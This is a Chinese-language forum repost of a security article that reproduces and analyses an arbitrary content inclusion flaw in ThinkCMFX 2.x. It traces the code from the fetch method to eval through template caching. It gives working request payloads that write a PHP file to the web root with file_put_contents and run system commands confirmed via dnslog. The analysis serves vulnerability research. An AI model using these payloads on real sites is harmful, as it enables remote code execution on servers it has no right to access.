搜索

[14777] 2019-11-04_ThinkCMFX任意内容包含漏洞分析复现

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2019-11-04_ThinkCMFX任意内容包含漏洞分析复现 T h i n k   C M F   X 任 意 内 容 包 含 漏 洞 分 析 复 现 原 创   _ M a s k   F r e e B u f   2 0 1 9 - 1 1 - 0 4 简 介 简 介 T h i n k C M F 是 一 款 基 于 是 一 款 基 于 P H P + M Y S Q L 开 发 的 中 文 内 容 管 理 框 架 ， 底 层 采 用 开 发 的 中 文 内 容 管 理 框 架 ， 底 层 采 用 T h i n k P H P 3 . 2 . 3 构 建 。 构 建 。 T h i n k C M F 提 出 灵 提 出 灵 活 的 应 用 机 制 ， 框 架 自 身 提 供 基 础 的 管 理 功 能 ， 而 开 发 者 可 以 根 据 自 身 的 需 求 以 应 用 的 形 式 进 行 扩 展 。 每 个 应 用 都 能 活 的 应 用 机 制 ， 框 架 自 身 提 供 基 础 的 管 理 功 能 ， 而 开 发 者 可 以 根 据 自 身 的 需 求 以 应 用 的 形 式 进 行 扩 展 。 每 个 应 用 都 能 独 立 的 完 成 自 己 的 任 务 ， 也 可 通 过 系 统 调 用 其 他 应 用 进 行 协 同 工 作 。 在 这 种 运 行 机 制 下 ， 开 发 商 场 应 用 的 用 户 无 需 关 独 立 的 完 成 自 己 的 任 务 ， 也 可 通 过 系 统 调 用 其 他 应 用 进 行 协 同 工 作 。 在 这 种 运 行 机 制 下 ， 开 发 商 场 应 用 的 用 户 无 需 关 心 开 发 心 开 发 S N S 应 用 时 如 何 工 作 的 ， 但 他 们 之 间 又 可 通 过 系 统 本 身 进 行 协 调 ， 大 大 的 降 低 了 开 发 成 本 和 沟 通 成 本 。 应 用 时 如 何 工 作 的 ， 但 他 们 之 间 又 可 通 过 系 统 本 身 进 行 协 调 ， 大 大 的 降 低 了 开 发 成 本 和 沟 通 成 本 。 影 响 版 本 影 响 版 本 T h i n k C M F   X 1 . 6 . 0 T h i n k C M F   X 2 . 1 . 0 T h i n k C M F   X 2 . 2 . 0 T h i n k C M F   X 2 . 2 . 1 T h i n k C M F   X 2 . 2 . 2 T h i n k C M F   X 2 . 2 . 3 复 现 环 境 复 现 环 境 我 这 里 下 载 的 2 . 2 . 0 版 本 ， 下 载 地 址 为 ： t h i n k c m f x 2 . 2 . 0 安 装 过 程 就 略 过 了 漏 洞 复 现 漏 洞 复 现 0 x 0 1 p a y l o a d :   h t t p : / / l o c a l h o s t / t h i n k c m f x 2 2 0 / ? a = d i s p l a y & t e m p l a t e F i l e = R E A D M E . m d 0 x 0 2 p a y l o a d : ? a = f e t c h & t e m p l a t e F i l e = p u b l i c / i n d e x & p r e f i x = ' ' & c o n t e n t = f i l e _ p u t _ c o n t e n t s ( ' t e s t . p h p ' , ' < ? p h p   p h p i n f o ( ) ;   ? > ' )
上 述 请 求 发 送 后 ， 会 在 t h i n k c m f x 根 目 录 生 成 t e s t . p h p , 我 们 访 问 一 下 ： 0 x 0 3 这 种 方 式 其 实 利 用 和 p y l o a d 2 一 样 ， 只 不 过 是 直 接 执 行 系 统 命 令 ， 我 们 可 以 用 d n s l o g 的 方 式 检 验 结 果 ， 如 下 说 明 命 令 成 功 执 行 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 我 可 能 不 会 把 每 行 代 码 的 意 思 讲 清 楚 ， 但 是 我 会 分 享 一 些 我 在 分 析 这 个 漏 洞 时 使 用 的 一 些 小 方 法 审 计 m v c 架 构 的 应 用 ， 第 一 步 就 是 找 到 入 口 ， 然 后 顺 着 入 口 文 件 ， 跟 着 程 序 逻 辑 读 下 去 ， 直 到 了 解 程 序 大 体 运 作 流 程 ， 知 道 基 本 路 由 规 则 （ m v c 架 构 的 审 计 工 作 主 要 是 集 中 在 控 制 器 ） 。 前 面 的 审 计 开 始 的 前 置 工 作 我 就 不 细 说 了 ， 而 且 在 分 析 一 个 漏 洞 的 时 候 这 些 前 置 工 作 也 不 一 定 是 必 须 的 ， 如 果 你 在 知 道 一 些 信 息 的 情 况 下 ， 例 如 ， 你 根 据 漏 洞 披 露 的 一 些 信 息 已 经 知 道 哪 个 文 件 有 问 题 了 ， 就 不 需 要 再 去 研 究 路 由 了 ， 我 这 次 的 分 析 就 是 在 已 知 一 些 条 件 的 情 况 下 进 行 的 ， 所 以 我 就 没 有 仔 细 去 读 路 由 规 则 ， 所 以 ， 你 也 可 以 看 到 我 后 面 的 分 析 很 多 都 采 用 的 是 猜 测 以 及 全 局 搜 索 这 种 方 式 来 确 定 利 用 点 ， 当 然 我 后 面 也 大 概 看 了 下 路 由 ， 大 概 跟 到 A p p : : e x e c ( ) 方 法 里 ， 就 可 以 看 到 路 由 规 则 了 ， 如 下 ： p a y l o a d : ? a = f e t c h & c o n t e n t = < ? p h p   s y s t e m ( ' p i n g   x x x x x x ' ) ; ? >
前 面 说 了 那 么 多 废 话 . . . . . 首 先 我 们 看 下 入 口 文 件 i n d e x . p h p 确 定 应 用 目 录 我 们 到 应 用 目 录 a p p l i c a t i o n 里 的 c o n t r o l l e r 看 一 下 ， 根 据 路 由 或 已 知 信 息 可 以 确 定 i n d e x . p h p 的 请 求 会 被 路 由 到 i n d e x c o n t r o l l e r . c l a s s . p h p 的 i n d e x ( ) 方 法 这 个 方 法 也 没 啥 ， 就 是 调 用 了 个 d i s p l a y 显 示 了 首 页 的 内 容 。 这 些 都 不 是 问 题 的 关 键 ， 关 键 的 是 t h i n k c m f 是 给 予 t i n k p h p 再 开 发 的 ， 他 有 一 些 t p 的 特 性 ， 例 如 可 以 通 过 g m a 参 数 指 定 分 组 控 制 器 方 法 ， 这 里 可 以 通 过 a 参 数 直 接 调 用 P o r t a l I n d e x C o n t r o l l e r 父 类 ( H o m e b a s e C o n t r o l l e r ) 中 的 一 些 权 限 为 p u b l i c 的 方 法 。 我 们 自 己 自 己 在 H o m e b a s e C o n t r o l l e r 类 中 创 建 一 个 p u b l i c 属 性 的 方 法 然 后 访 问 h t t p : / / l o c a l h o s t / t h i n k c m f x 2 2 0 / i n d e x . p h p ? a = t e s t 1 ， 结 果 如 下 说 明 确 实 是 可 以 访 问 到 p u b l i c 属 性 的 函 数 的 ， 此 次 漏 洞 主 要 是 利 用 H o m e b a s e C o n t r o l l e r 的 d i s p l a y 以 及 f e t c h 方 法 ， 因 为 p y a l o a d 已 经 公 开 ， 那 么 我 们 就 拿 p a y l o a d 3 ： ? a = f e t c h & c o n t e n t = < ? p h p   s y s t e m ( ' p i n g   x x x x x x ' ) ; ? > 进 行 分 析 ， 看 一 下 f e t c h 方 法 ， 如 下 ： p u b l i c   f u n c t i o n   t e s t 1 ( ) {                 e c h o   ' h e l l o   a x i n ' ;                 d i e ( ) ;         }
p a y l o a d 中 只 是 传 了 一 个 c o n t e n t 参 数 ， 那 么 此 时 的 $ t e m p l a t e F i l e 值 为 空 ， $ c o n t e n t 值 为 p h p 代 码 ， 继 续 跟 进 父 类 的 f e t c h 方 法 ， 这 里 的 父 类 跟 踪 直 接 跟 到 了 C o n t r o l l e r . c l a s s . p h p 中 可 见 这 里 执 行 $ t h i s - > v i e w - > f e t c h , 我 们 继 续 跟 进 ， 这 里 的 v i e w 就 是 V i e w . c l a s s . p h p 中 的 类 的 实 例 我 们 主 要 关 注 的 点 是 c o n t e n t 变 量 ， 上 面 的 代 码 有 两 个 i f . . . e l s e 语 句 ， 第 一 个 很 简 单 c o n t e n t 不 为 空 ， 所 以 执 行 e l s e 分 支 ， 第 二 个 我 们 不 能 一 眼 判 断 出 来 ， 但 是 这 里 我 们 为 了 效 率 也 就 不 去 深 究 代 码 细 节 ， 我 们 只 需 要 知 道 后 面 这 个 i f . . . . e l s e 语 句 到 底 是 进 入 了 哪 个 分 支 ， 所 以 ， 我 们 采 用 打 印 变 量 的 方 式 ， 类 似 下 面 这 样 i f ( ' p h p '   = =   s t r t o l o w e r ( C ( ' T M P L _ E N G I N E _ T Y P E ' ) ) )   {   / /   使 用 P H P 原 生 模 板                 e c h o   3 3 3 3 3 3 3 3 ;                   $ _ c o n t e n t       =       $ c o n t e n t ;                   / /   模 板 阵 列 变 量 分 解 成 为 独 立 变 量                   e x t r a c t ( $ t h i s - > t V a r ,   E X T R _ O V E R W R I T E ) ;                   / /   直 接 载 入 P H P 模 板                   e m p t y ( $ _ c o n t e n t ) ? i n c l u d e   $ t e m p l a t e F i l e : e v a l ( ' ? > ' . $ _ c o n t e n t ) ;
这 样 当 我 们 访 问 页 面 的 时 候 ， 如 果 页 面 出 现 3 3 3 3 3 3 3 3 ， 则 表 示 进 入 了 第 一 个 分 支 ， 否 则 进 入 了 第 二 个 分 支 ， 但 是 如 果 跟 着 我 的 思 路 复 现 了 的 朋 友 可 能 会 发 现 页 面 没 有 任 何 回 显 ， 这 是 因 为 这 段 代 码 前 后 分 别 调 用 了 o b s t a r t ( ) 与 o b g e t _ c l e a n ( ) 这 两 个 函 数 的 配 合 会 把 我 们 的 输 出 全 部 赋 值 给 了 $ c o n t e n t 变 量 ， 并 不 会 直 接 输 出 到 浏 览 器 。 所 以 ， 我 们 在 分 析 的 时 候 可 以 先 注 释 掉 这 几 句 代 码 。 然 后 根 据 页 面 输 出 我 们 就 可 以 确 定 此 处 进 入 了 e l s e 分 支 ， 分 支 里 主 要 是 执 行 了 H o o k : : l i s t e n ( ) 函 数 ， 这 个 函 数 是 t p 里 经 常 见 的 ， 以 前 我 也 不 知 道 是 干 嘛 的 ， 这 次 我 专 门 查 了 一 下 资 料 ， 这 个 H o o k : : l i s t e n 函 数 就 相 当 于 是 调 用 了 一 个 提 前 注 册 好 的 类 中 的 函 数 ， 函 数 默 认 是 r u n 函 数 ， 那 么 具 体 调 用 的 是 哪 个 类 的 r u n 函 数 呢 ， 这 个 就 取 决 于 传 入 的 参 数 了 ， 第 一 个 参 数 是 一 个 t a g , 这 个 t a g 是 与 一 个 类 提 前 绑 定 的 ， 第 二 个 参 数 就 是 要 传 入 r u n 函 数 的 参 数 啦 。 那 么 这 个 t a g 又 是 在 哪 里 绑 定 到 哪 个 类 的 呢 ？ 具 体 在 哪 个 文 件 定 义 了 映 射 我 也 不 太 清 楚 ， 所 以 ， 我 直 接 采 用 全 局 搜 索 （ p h p s t o r m 快 捷 键 c t r l + s h i f t + f ） v i e w p a r s e 这 个 t a g 的 方 式 ， 来 寻 找 v i e w p a r s e 到 底 代 表 哪 个 类 可 以 看 到 整 个 项 目 中 出 现 v i e w p a r s e 的 文 件 不 多 ， 最 后 我 们 确 定 到 c o m m o n . p h p , 并 在 其 中 找 到 了 v i e w p a r s e 对 应 的 类 就 是 B e h a v i o r P a r s e T e m p l a t e B e h a v i o r                   e m p t y ( $ _ c o n t e n t ) ? i n c l u d e   $ t e m p l a t e F i l e : e v a l ( ' ? > ' . $ _ c o n t e n t ) ; } e l s e {         e c h o   4 4 4 4 4 4 4 4 4 ;         / /   视 图 解 析 标 签         $ p a r a m s   =   a r r a y ( ' v a r ' = > $ t h i s - > t V a r , ' f i l e ' = > $ t e m p l a t e F i l e , ' c o n t e n t ' = > $ c o n t e n t , ' p r e f i x ' = > $ p r e f i x ) ;         H o o k : : l i s t e n ( ' v i e w _ p a r s e ' , $ p a r a m s ) ; }
既 然 都 找 到 类 了 ， 那 么 就 跟 进 去 看 一 下 啦 ， 跟 进 发 现 里 面 确 实 有 一 个 r u n 函 数 ， 确 定 是 他 没 错 了 t i p s : 这 里 跟 踪 文 件 也 有 个 技 巧 ， 有 时 候 在 定 位 某 个 类 位 于 哪 个 文 件 时 ， 我 们 也 可 以 采 用 全 局 搜 索 的 方 式 ， 或 者 直 接 用 类 名 搜 索 文 件 名 ( p h p s t o r m 快 捷 键 ， 快 速 按 两 次 s h i f t ) 又 有 i f 分 支 ， 为 了 效 率 我 们 同 样 可 以 用 刚 刚 说 的 方 法 ， 判 断 到 底 进 入 了 哪 个 分 支 ， 可 以 注 意 到 我 在 上 面 打 了 很 多 断 点 ， 这 个 断 点 是 为 了 标 示 出 哪 些 行 是 我 自 己 添 加 的 ， 或 者 标 示 一 些 重 要 的 逻 辑 处 ， 方 便 我 后 面 审 计 结 束 删 除 自 己 添 加 的 代 码 ， 也 可 以 防 止 中 途 离 开 再 回 来 看 代 码 遗 忘 重 点 这 种 情 况 的 发 生 ， 总 之 算 是 一 个 小 技 巧 吧 。 我 这 里 用 我 的 打 印 调 试 法 定 位 到 ， 代 码 会 运 行 到 S t o r a g e : : l o a d ( ) 这 里 ， 我 们 跟 进 ， 在 这 里 我 们 使 用 p h p s t o r m 直 接 g o   t o 这 种 方 式 发 现 p h p s t o r m 定 位 不 到 l o a d 函 数 的 定 义 处 ， 那 么 我 们 只 有 先 定 位 S t o r a g e 类 ， S t o r a g e 类 如 下
发 现 S t o r a g e 类 里 面 根 本 就 没 有 l o a d 方 法 ， 而 且 他 也 没 有 继 承 任 何 父 类 ， 那 么 l o a d 方 法 到 底 藏 在 哪 里 呢 ? 这 里 就 涉 及 到 _ c a l l s t a t i c 这 个 模 式 方 法 啦 ， 这 个 方 法 会 在 调 用 该 类 不 存 在 的 静 态 方 法 或 变 量 时 触 发 ， 所 以 ， l o a d 方 式 是 通 过 c a l l u s e r f u n c a r r a y 函 数 调 用 的 ， 那 到 底 调 用 的 哪 里 的 l o a d 方 法 呀 ， 这 里 有 两 种 方 式 确 定 ， 一 是 老 老 实 实 看 代 码 ， 搞 清 楚 s e l f : : h a n d l e r 到 底 值 为 多 少 ， 第 二 种 就 是 我 采 用 的 全 局 搜 索 的 方 法 ， 我 不 想 一 行 行 看 代 码 ， 直 接 全 局 搜 索 l o a d ( 出 来 的 结 果 挺 多 的 ， 但 是 我 们 根 据 之 前 调 用 时 的 参 数 ， 可 以 大 体 确 定 是 上 图 中 的 其 中 一 个 ， 最 后 再 结 合 自 己 的 判 断 力 或 者 都 试 一 下 确 定 是 F i l e . c l a s s . p h p （ 其 实 这 里 我 是 猜 的 2 3 3 3 3 ， 文 件 名 更 贴 切 嘛 ） 中 的 l o a d 函 数 ， 跟 进
结 果 发 现 ， 就 只 是 引 入 了 一 个 文 件 ， 我 这 就 急 眼 了 呀 ， 我 想 这 么 就 引 入 一 个 文 件 就 完 了 呢 ， 那 我 传 入 的 c o n t e n t 什 么 时 候 写 入 到 这 个 文 件 的 呀 ， 我 觉 得 我 肯 定 是 遗 漏 了 什 么 东 西 ， 于 是 开 始 顺 着 这 个 文 件 找 线 索 ， 看 看 到 底 哪 里 把 传 入 的 c o n t e n t 写 入 了 这 个 文 件 ， 还 是 用 我 们 的 打 印 调 试 法 确 定 这 个 文 件 的 路 径 在 / d a t a / r u n t i m e / C a c h e / P o r t a l / 然 后 文 件 名 的 命 名 规 则 可 以 从 传 给 S t o r a g e : : l o a d 函 数 的 参 数 里 确 定 我 采 用 了 几 种 方 法 来 定 位 到 底 哪 里 把 c o n t e n t 写 入 了 文 件 ， 第 一 种 方 式 就 是 全 局 搜 索 C ( ' C A C H E P A T H ' ) . $ d a t a [ ' p r e f i x ' ] . m d 5 ( $ c o n t e n t ) . C ( ' T M P L C A C H F I L E _ S U F F I X ' ) 因 为 这 是 文 件 的 命 名 规 则 ， 写 入 的 时 候 肯 定 也 是 这 个 规 则 ， 但 是 结 果 失 败 了 ， 只 出 现 一 条 结 果 就 是 l o a d 这 里 ， 然 后 我 就 在 想 刚 刚 F i l e . c l a s s . p h p 里 面 有 l o a d 函 数 ， 那 么 应 该 也 有 写 入 函 数 （ s e t , w r i t e 之 类 的 ） ， 结 果 一 看 果 然 有 ！ 那 我 不 得 全 局 搜 索 一 波 嘛 ， 在 我 搜 索 p u t 的 时 候 有 所 发 现 ， 再 根 据 / d a t a / r u n t i m e / C a c h e / P o r t a l / 目 录 下 生 成 的 c a c h e 文 件 的 文 件 名 、 文 件 内 容 、 调 用 p u t 函 数 时 传 入 的 实 参 命 名 、 实 参 个 数 以 及 调 用 p u t 函 数 的 文 件 名 等 多 个 数 据 参 考 ， 以 及 失 措 过 后 ， 觉 得 T e m p l a t e . c l a s s . p h p 文 件 这 一 处 p u t 函 数 的 调 用 极 有 可 能 就 是 了 ， 这 里 的 l o a d T e m p l a t e 函 数 里 有 调 用 p u t 函 数 的 操 作 ， 反 推 ， l o a d T e m p l a t e 函 数 又 在 f e t c h 函 数 里 被 调 用 了 ， 然 后 我 以 为 我 之 前 跟 代 码 的 时 候 跟 错 了 f e t c h , 2 3 3 3 3 , 回 到 P a r s e T e m p l a t e B e h a v i o r . c l a s s . p h p 去 确 认 S t o r a g e : : l o a d ( C ( ' C A C H E _ P A T H ' ) . $ _ d a t a [ ' p r e f i x ' ] . m d 5 ( $ _ c o n t e n t ) . C ( ' T M P L _ C A C H F I L E _ S U F F I X ' ) , $ _ d a t a [ ' v a r ' ] ) ;
回 到 P a r s e T e m p l a t e B e h a v i o r . c l a s s . p h p 中 才 发 现 这 个 被 我 忽 视 的 e l s e 分 支 ， 这 里 不 就 调 用 了 t e m p l a t e 的 f e t c h 方 法 吗 ， 于 是 喜 上 眉 梢 ， 那 么 什 么 时 候 会 进 入 e l s e 分 支 呢 这 里 我 做 了 一 个 合 _ M a s k 理 的 猜 测 ， 就 是 传 入 的 参 数 是 之 前 没 有 传 过 的 ， 那 么 就 会 进 入 e l s e , 否 则 进 入 i f , 然 后 我 在 e l s e 分 支 添 加 了 一 行 e c h o   4 4 4 4 4 4 ; 然 后 请 求 ? a = f e t c h & c o n t e n t = p h p i n f o （ 这 个 请 求 是 之 前 没 有 发 送 过 的 ） 果 然 页 面 打 印 处 4 4 4 4 4 4 , 说 明 进 入 了 e l s e 分 支 ， 那 么 c o n t e n t 的 流 向 就 很 清 晰 了 ：
先 是 顺 着 上 面 的 路 径 写 入 c a c h e 文 件 ， 最 后 调 用 S t o r a g e : : l o a d 加 载 c a c h e 文 件 ， 最 终 导 致 代 码 执 行 。 啊 ～ 这 一 处 的 p a y l o a d 就 先 写 到 这 吧 ， 好 久 没 写 文 章 了 ， 累 死 了 ～ * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： _ M a s k ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理